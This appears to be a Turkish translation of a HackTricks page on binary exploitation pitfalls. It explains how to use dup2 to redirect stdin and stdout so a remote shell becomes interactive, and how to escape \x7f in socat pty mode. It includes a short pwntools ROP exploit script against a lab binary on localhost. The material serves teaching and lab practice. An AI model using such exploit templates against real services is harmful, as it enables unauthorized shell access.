3 KiB
Yaygın Sömürü Problemleri
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Resmi PEASS & HackTricks ürünlerini edinin
- Katılın 💬 Discord grubuna](https://discord.gg/hRep4RUj7f) veya telegram grubuna veya Twitter 🐦@carlospolopm'ı takip edin.
- Hacking püf noktalarınızı göndererek PR'larınızı hacktricks repo ve hacktricks-cloud repo ile paylaşın.
Uzaktan Sömürüde FD'ler
Örneğin bir uzak sunucuya bir sömürü gönderirken, sunucuda system('/bin/sh')
çağrıldığında, bu tabii ki sunucu işlemi içinde yürütülecek ve /bin/sh
stdin'den (FD: 0
) giriş bekleyecek ve çıktıyı stdout ve stderr'de (FD'ler 1
ve 2
) yazdıracaktır. Bu nedenle saldırgan kabukla etkileşimde bulunamayacaktır.
Bunu düzeltmenin bir yolu, sunucunun başlatıldığında FD numarası 3
(dinleme için) oluşturduğunu ve ardından bağlantınızın FD numarasının 4
olacağını varsaymaktır. Bu nedenle, dup2
sistem çağrısını kullanarak stdin'i (FD 0) ve stdout'u (FD 1) saldırgan bağlantısının FD 4'ünde (saldırganın bağlantısının olduğu) çoğaltmak mümkün olacak ve böylece kabukla iletişim kurulabilecektir. Çünkü kabuk yürütüldüğünde.
Buradan örnek sömürüye ulaşın:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Socat zaten stdin
ve stdout
'u sokete aktarır. Ancak, pty
modu SİLME karakterlerini içerir. Bu nedenle, bir \x7f
( SİLME
-) gönderirseniz, exploitinizin önceki karakterini silecektir.
Bunu atlatmak için, herhangi bir gönderilen \x7f
'den önce kaçış karakteri \x16
eklenmelidir.
Burada bu davranışın bir örneğini bulabilirsiniz.